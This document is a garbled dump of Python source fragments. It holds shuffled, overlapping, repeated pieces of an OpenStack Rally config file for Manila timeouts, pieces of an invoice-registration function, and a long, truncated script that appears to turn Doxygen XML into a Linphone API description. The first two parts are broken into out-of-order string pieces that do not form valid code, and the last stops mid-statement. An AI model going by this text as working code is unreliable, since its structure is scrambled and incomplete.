specific language governing permissions and limitations # under", "Copyright 2013: Mirantis Inc. # All Rights Reserved. # #", "law or agreed to in writing, software # distributed under", "default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0,", "from rally.common import cfg OPTS = {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\",", "OR CONDITIONS OF ANY KIND, either express or implied. See", "the specific language governing permissions and limitations # under the", "permissions and limitations # under the License. from rally.common import", "polling for its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout", "default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila share", "cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access creation.\"), cfg.FloatOpt(", "under the Apache License, Version 2.0 (the \"License\"); you may", "except in compliance with the License. You may obtain #", "2.0 (the \"License\"); you may # not use this file", "implied. See the # License for the specific language governing", "= {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating", "deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\",", "under the License. from rally.common import cfg OPTS = {\"openstack\":", "deprecated_group=\"benchmark\", help=\"Timeout for Manila access creation.\"), cfg.FloatOpt( \"manila_access_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\",", "{\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating Manila", "default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila share", "default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0,", "for Manila share deletion.\"), cfg.FloatOpt( \"manila_share_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between", "share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila", "Manila share and polling for its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\",", "License. You may obtain # a copy of the License", "import cfg OPTS = {\"openstack\": [ cfg.FloatOpt( \"manila_share_create_prepoll_delay\", default=2.0, deprecated_group=\"benchmark\",", "\"manila_share_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\",", "share and polling for its \" \"status.\"), cfg.FloatOpt( \"manila_share_create_timeout\", default=300.0,", "for Manila share creation.\"), cfg.FloatOpt( \"manila_share_create_poll_interval\", default=3.0, deprecated_group=\"benchmark\", help=\"Interval between", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "ANY KIND, either express or implied. See the # License", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "creating Manila share and polling for its \" \"status.\"), cfg.FloatOpt(", "deprecated_group=\"benchmark\", help=\"Timeout for Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\",", "# Unless required by applicable law or agreed to in", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "checks when waiting for Manila share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\",", "to in writing, software # distributed under the License is", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "for Manila access deletion.\"), cfg.FloatOpt( \"manila_access_delete_poll_interval\", default=2.0, deprecated_group=\"benchmark\", help=\"Interval between", "the License. from rally.common import cfg OPTS = {\"openstack\": [", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "default=2.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila access", "share \" \"creation.\"), cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila", "for Manila share \" \"deletion.\"), cfg.FloatOpt( \"manila_access_create_timeout\", default=300.0, deprecated_group=\"benchmark\", help=\"Timeout", "default=3.0, deprecated_group=\"benchmark\", help=\"Interval between checks when waiting for Manila access", "access \" \"creation.\"), cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila", "or agreed to in writing, software # distributed under the", "required by applicable law or agreed to in writing, software", "default=2.0, deprecated_group=\"benchmark\", help=\"Delay between creating Manila share and polling for", "cfg.FloatOpt( \"manila_share_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila share deletion.\"), cfg.FloatOpt(", "limitations # under the License. from rally.common import cfg OPTS", "cfg.FloatOpt( \"manila_access_delete_timeout\", default=180.0, deprecated_group=\"benchmark\", help=\"Timeout for Manila access deletion.\"), cfg.FloatOpt(", "or implied. See the # License for the specific language", "Apache License, Version 2.0 (the \"License\"); you may # not", "# under the License. from rally.common import cfg OPTS =" ]
[ "Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db,", "sqlalchemy.orm.session import Session from app import crud from .utils import", "import Session from app import crud from .utils import insert,", "crud from .utils import insert, get_content def register_invoice(db: Session, url:", "from .utils import insert, get_content def register_invoice(db: Session, url: str):", "insert, get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url)", "str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] )", ") invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"],", "insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id", "import insert, get_content def register_invoice(db: Session, url: str): content =", "def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id =", "= insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"], grocery_store_id, invoice_id)", "obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db,", "db, obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id )", "= insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"],", "register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info(", "get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info(", "invoice_id = insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"], grocery_store_id,", "Session from app import crud from .utils import insert, get_content", ".utils import insert, get_content def register_invoice(db: Session, url: str): content", "from app import crud from .utils import insert, get_content def", "obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"], grocery_store_id, invoice_id) return crud.get_invoice_by_id(db, id=invoice_id)", "= get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id =", "from sqlalchemy.orm.session import Session from app import crud from .utils", "app import crud from .utils import insert, get_content def register_invoice(db:", "content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id", "grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"] ) invoice_id = insert.insert_invoice_info( db,", "<gh_stars>0 from sqlalchemy.orm.session import Session from app import crud from", "import crud from .utils import insert, get_content def register_invoice(db: Session,", "insert.insert_invoice_info( db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"], grocery_store_id, invoice_id) return", "url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content[\"grocery_store\"]", "get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id", "db, obj_in=content[\"invoice\"], grocery_store_id=grocery_store_id ) insert.insert_invoice_items(db, content[\"items\"], grocery_store_id, invoice_id) return crud.get_invoice_by_id(db," ]
[]
[ "s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self,", "self.__generateEnum(cenum, enumsNode) if len(project.classes) > 0: classesNode = ET.SubElement(apiNode, 'classes')", "+= \"\\t'\" + arg.name + \"' parameter not documented\\n\"; f", "self.add(td) def __parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None", "'void': missingDocWarning += \"\\tReturn value is not documented\\n\" argslist =", "= arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes) if arg.description is", "if len(project.enums) > 0: enumsNode = ET.SubElement(apiNode, 'enums') for cenum", "!= '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription)", "td.definition) == td.name: st = CStruct(td.name) st.associatedTypedef = td cclass", "#!/usr/bin/python # Copyright (C) 2014 Belledonne Communications SARL # #", "CObject.__init__(self, name) self.definition = definition.strip() class CArgument(CObject): def __init__(self, t,", "argdef[0 : spacePos] argName = argdef[spacePos + 1 :] argslist.addArgument(CArgument(argType,", "paramdesc.find('.//bctbxlist') if n is not None: arg.containedType = n.text arg.description", "if not name in self.properties: prop = CProperty(name) self.properties[name] =", "definition[pos + 1 : -1] argslist = CArgumentsList() for argdef", "argNode.find('./declname') if argNameNode is not None: argName = ''.join(argNameNode.itertext()) if", "= 'int' # Default to int so that the result", "__init__(self, name): self.name = name self.getter = None self.setter =", "enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode", "True classNodeAttributes = { 'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix,", "= self.__cleanDescription(node.find('./detaileddescription')) structmembers = node.findall(\"sectiondef/memberdef[@kind='variable'][@prot='public']\") for structmember in structmembers: sm", "action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated", "elif 'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum =", "name, f): if not name in self.properties: prop = CProperty(name)", "st self.events = {} self.classMethods = {} self.instanceMethods = {}", "'enum': isEnum = True if isStruct: for st in structs:", "help=\"XML directory generated by doxygen.\") args = argparser.parse_args() if args.outputfile", "= [] self.associatedTypedef = None def addMember(self, member): self.members.append(member) class", "functionAttributes = { 'name' : f.name, 'deprecated' : str(f.deprecated).lower() }", "name.endswith('_enabled') and len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name,", "self.verbose: print(\"Adding struct \" + elem.name) for sm in elem.members:", "node): s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "key): return self.arguments[key] def __str__(self): argstr = [] for arg", "not Project.__canBeWrapped(self, node): return None internal = node.find(\"./detaileddescription/internal\") if internal", "# of the License, or (at your option) any later", "2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else:", "methodnames.sort() for methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods)", "enumsNode): enumNodeAttributes = { 'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower()", "write to the Free Software # Foundation, Inc., 51 Franklin", "= f def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_')", "class CObject: def __init__(self, name): self.name = name.strip() self.briefDescription =", "ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self,", "for tree in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir): files", "True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "def __init__(self, name, returnarg, argslist): CObject.__init__(self, name) self.returnArgument = returnarg", "= [] splittedType = t.strip().split(' ') for s in splittedType:", "c.name + \"' has a setter but no getter\") class", "sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() sm.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) sm.detailedDescription", "= definition.rfind(\" \" + name) if pos != -1: definition", "\"::\" + name)] sm = CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "1 :] elif spacePos != -1: argType = argdef[0 :", "= e.associatedTypedef.name if self.ctype == 'int' and 'int' not in", "for f in os.listdir(xmldir) if (os.path.isfile(os.path.join(xmldir, f)) and f.endswith('.xml')) ]", "= CStruct(name) st.associatedTypedef = td self.add(st) for td in self.__typedefs:", "= argparser.parse_args() if args.outputfile == None: args.outputfile = open('api.xml', 'w')", "CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break elif ('Linphone' + td.definition)", "in self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self, ev): if not", "argparser.add_argument('xmldir', help=\"XML directory generated by doxygen.\") args = argparser.parse_args() if", "__init__(self, t, name = '', enums = [], structs =", "self.completeType + \" \" + self.name class CArgumentsList: def __init__(self):", "classes by length of name (longest first), so that methods", "n.attrib = {} for n in para.findall(\".//xrefsect\"): para.remove(n) for n", "{ 'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(),", "ET.SubElement(classNode, 'properties') propnames = [] for propname in cclass.properties: propnames.append(propname)", "not documented\\n\"; f = CFunction(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "not Project.__canBeWrapped(self, node): return None name = node.find('./name').text definition =", "__parseCFunctionMemberdef(self, node): if not Project.__canBeWrapped(self, node): return None internal =", "CFunction): if self.verbose: print(\"Adding function \" + elem.name) print(\"\\tReturns: \"", "\" + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para in", "'see' n.text = t for n in para.findall(\"./simplesect[@kind='note']\"): n.tag =", "self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip()", ": cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if cenum.associatedTypedef is not", "classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self, project): print(\"Generating XML document", "'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType } if f.returnArgument.containedType is", "deprecatedNode is not None: s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "0: return # Check the capabilities of the class has_ref_method", "s = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8')", "or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU", "argparse import os import six import string import sys import", "if paramdescs: for arg in argslist.arguments: for paramdesc in paramdescs:", "__canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self): for td", "[] splittedType = t.strip().split(' ') for s in splittedType: if", "cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in eventnames: self.__generateFunction(eventsNode, 'event', cclass.events[eventname])", "cenum.associatedTypedef is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode,", "t = ''.join(node.find('./type').itertext()) returnarg = CArgument(t, enums = self.enums, structs", "s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv = None): if argv", "the GNU General Public License # as published by the", "if (st.associatedTypedef is None) and td.definition[7:] == st.name: st.associatedTypedef =", "print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose:", "return f else: pos = definition.rfind(\" \" + name) if", "__findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in memberdefs: f", "argumentNode.append(arg.description) if f.briefDescription != '': functionBriefDescriptionNode = ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text", "= '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if", "} if cenum.associatedTypedef is not None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode", "definition[0 : pos] td = CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "for cclass in project.classes: self.__generateClass(cclass, classesNode) s = '<?xml version=\"1.0\"", "'name' : value.name, 'deprecated' : str(value.deprecated).lower() } valueNode = ET.SubElement(enumValuesNode,", "t, name = '', enums = [], structs = []):", "None: s.deprecated = True s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription'))", "else: fullySplittedType.append(s) if 'MS2_DEPRECATED' in fullySplittedType: fullySplittedType.remove('MS2_DEPRECATED') elif 'LINPHONE_DEPRECATED' in", "tree = ET.parse(f) except ET.ParseError as e: print(e) if tree", "== 0: return # Check the capabilities of the class", "self.__cleanDescription(node.find('./detaileddescription')) enumvalues = node.findall(\"enumvalue[@prot='public']\") for enumvalue in enumvalues: ev =", "\" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem,", "for arg in argslist.arguments: for paramdesc in paramdescs: if arg.name", "the XML node for the class classNode = ET.SubElement(classesNode, 'class',", "0 and \\ len(cclass.instanceMethods) == 0 and len(cclass.properties) == 0:", "if pos != -1: definition = definition[0 : pos] td", "try: if self.verbose: print(\"Parsing XML file: \" + f.name) tree", "argType != 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) >", "is not None: print(\"Property '\" + name + \"' of", "= st.briefDescription if st.associatedTypedef.detailedDescription is not None: self.detailedDescription = st.associatedTypedef.detailedDescription", "elif spacePos != -1: argType = argdef[0 : spacePos] argName", "None def addValue(self, value): self.values.append(value) class CStructMember(CObject): def __init__(self, name,", "+ elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments))", "name) self.value = None class CEnum(CObject): def __init__(self, name): CObject.__init__(self,", "= t for n in para.findall(\"./simplesect[@kind='note']\"): n.tag = 'note' n.attrib", "= self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node): if not Project.__canBeWrapped(self, node):", "CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode is not None: ev.value", "for f in xmlfiles: tree = None try: if self.verbose:", "None class CEnumValue(CObject): def __init__(self, name): CObject.__init__(self, name) self.value =", "f): if len(f.arguments) > 0 and f.arguments[0].ctype == self.name: self.__addInstanceMethod(f)", "def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first = True for l", "xmldir): files = [ os.path.join(xmldir, f) for f in os.listdir(xmldir)", "= CEnum(node.find('./name').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "with no associated typedef: \" + name) st = CStruct(name)", "cclass = CClass(st) cclass.briefDoc = td.briefDoc self.add(cclass) break elif ('Linphone'", "True ev.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription'))", "False for methodname in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if", "self.verbose: print(\"Adding typedef \" + elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem)", "'enum', enumNodeAttributes) if cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription')", "PARTICULAR PURPOSE. See the # GNU General Public License for", "in cclass.instanceMethods: methodname_without_prefix = methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref':", "methodnames = [] for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for", "if deprecatedNode is not None: sm.deprecated = True sm.briefDescription =", "and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled', f) else: if", "def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments)", "missingDocWarning) f = CEvent(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "definition = definition[0 : pos] td = CTypedef(name, definition) deprecatedNode", "return initializer def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode =", "len(f.arguments) == 1 and f.returnArgument.ctype == 'bool_t': self.__addPropertyGetter(name, f) elif", "td.definition[7:] == st.name: st.associatedTypedef = td structFound = True break", "= t.strip().split(' ') for s in splittedType: if s.startswith('*'): fullySplittedType.append('*')", "self.briefDescription = st.briefDescription if st.associatedTypedef.detailedDescription is not None: self.detailedDescription =", "para.remove(n) for n in para.findall('.//ref'): n.attrib = {} for n", "= CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", ": str(destroyable).lower() } # Generate the XML node for the", "version of the Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output", "addValue(self, value): self.values.append(value) class CStructMember(CObject): def __init__(self, name, t): CObject.__init__(self,", "memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='enum']/memberdef[@kind='enum'][@prot='public']\") for m in memberdefs: e = self.__parseCEnumMemberdef(m)", "== 0 and \\ len(cclass.instanceMethods) == 0 and len(cclass.properties) ==", "if cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text =", "paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning =", "propertiesNode = ET.SubElement(classNode, 'properties') propnames = [] for propname in", "if e.associatedTypedef is not None: self.ctype = e.associatedTypedef.name if self.ctype", "methodname_without_prefix == 'unref': has_unref_method = True elif methodname_without_prefix == 'destroy':", "not include classes that contain nothing if len(cclass.events) == 0", "self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() == '': return", "for eventname in cclass.events: eventnames.append(eventname) eventnames.sort() for eventname in eventnames:", "1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if 'MS2_DEPRECATED'", "+ 2 :] pos = definition.find(\"(\") definition = definition[pos +", "locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning += \"\\tNot documented in a", "{} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix = '' first = True", "is correct eg. for 'unsigned short' for s in fullySplittedType:", "f) else: if not f.name in self.instanceMethods: self.instanceMethods[f.name] = f", "s = CStruct(node.find('./compoundname').text) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not", "'unref': has_unref_method = True elif methodname_without_prefix == 'destroy': has_destroy_method =", "paramdesc.find('./parameternamelist').find('./parametername').text: if arg.ctype == 'MSList' or arg.ctype == 'bctbx_list_t': n", "None: functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode, nodeName, functionAttributes) returnValueAttributes", "+ c.name + \"' has a setter but no getter\")", "argdef[0 : starPos + 1] argName = argdef[starPos + 1", "XML file describing the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\",", "\" + elem.name) for ev in elem.values: print(\"\\t\" + ev.name)", "modify it under the terms of the GNU General Public", "f def __findCFunction(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='func']/memberdef[@kind='function'][@prot='public'][@static='no']\") for m in", "for argdef in definition.split(', '): argType = '' starPos =", "eventAdded = False for c in self.classes: if c.name.endswith('Cbs') and", "not None: td.deprecated = True td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc =", "for m in memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self,", "!= '': print(name + \":\\n\" + missingDocWarning) return f def", "initializer): initializer = initializer.strip() if not initializer.startswith('='): return None initializer", "argslist.arguments: for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: if", "name.startswith('enable_') and len(f.arguments) == 2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:]", "if not Project.__canBeWrapped(self, node): return None internal = node.find(\"./detaileddescription/internal\") if", "return None def __findCTypedef(self, tree): memberdefs = tree.findall(\"./compounddef[@kind='group']/sectiondef[@kind='typedef']/memberdef[@kind='typedef'][@prot='public']\") for m", "= node.findall('./param') for argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName", "cenum.briefDescription != '': enumBriefDescriptionNode = ET.SubElement(enumNode, 'briefdescription') enumBriefDescriptionNode.text = cenum.briefDescription", "sm.name) self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose: print(\"Adding typedef \"", "os import six import string import sys import xml.etree.ElementTree as", "+ 1] argName = argdef[starPos + 1 :] elif spacePos", "= ' '.join(fullySplittedType) def __str__(self): return self.completeType + \" \"", "is not None: functionAttributes['location'] = f.location functionNode = ET.SubElement(parentNode, nodeName,", "CObject.__init__(self, name) self.values = [] self.associatedTypedef = None def addValue(self,", "self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):]", "args.outputfile == None: args.outputfile = open('api.xml', 'w') project = Project()", "the Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file", "missingDocWarning = '' name = node.find('./name').text t = ''.join(node.find('./type').itertext()) returnarg", "f = CFunction(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode", ": -1] argslist = CArgumentsList() for argdef in definition.split(', '):", "methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0:", "if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() == '': return None", "else: if not f.name in self.instanceMethods: self.instanceMethods[f.name] = f def", "elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem)", "for e in enums: if e.associatedTypedef is not None: self.ctype", "[] for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname in", "self.arguments.append(arg) def __len__(self): return len(self.arguments) def __getitem__(self, key): return self.arguments[key]", "False for st in self.__structs: if (st.associatedTypedef is None) and", "in memberdefs: f = self.__parseCFunctionMemberdef(m) if f is not None:", "return # Check the capabilities of the class has_ref_method =", "encoding=\"UTF-8\" ?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s =", "Free Software Foundation; either version 2 # of the License,", "= initializer.strip() if not initializer.startswith('='): return None initializer = initializer[1:]", "keywords = [ 'const', 'struct', 'enum', 'signed', 'unsigned', 'short', 'long',", "= True break if not structFound: name = td.definition[7:] print(\"Structure", "argType = '' starPos = argdef.rfind('*') spacePos = argdef.rfind(' ')", "0: paramdescs = node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments:", "__parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode", "if arg.description == None: missingDocWarning += \"\\t'\" + arg.name +", "str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'): for", "self.__cleanDescription(node.find('./detaileddescription')) return sm def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode", "td in self.__typedefs: if td.definition.startswith('struct '): for st in self.__structs:", "in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode", "= {} self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix =", "not first: self.cFunctionPrefix += '_' self.cFunctionPrefix += l.lower() first =", "= [] self.__functions = [] self.classes = [] self.docparser =", "in para.findall('.//ref'): n.attrib = {} for n in para.findall(\".//bctbx_list\"): para.remove(n)", "in para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description'", "None: enumNodeAttributes['name'] = cenum.associatedTypedef.name enumNode = ET.SubElement(enumsNode, 'enum', enumNodeAttributes) if", "s.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() s.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) s.detailedDescription = 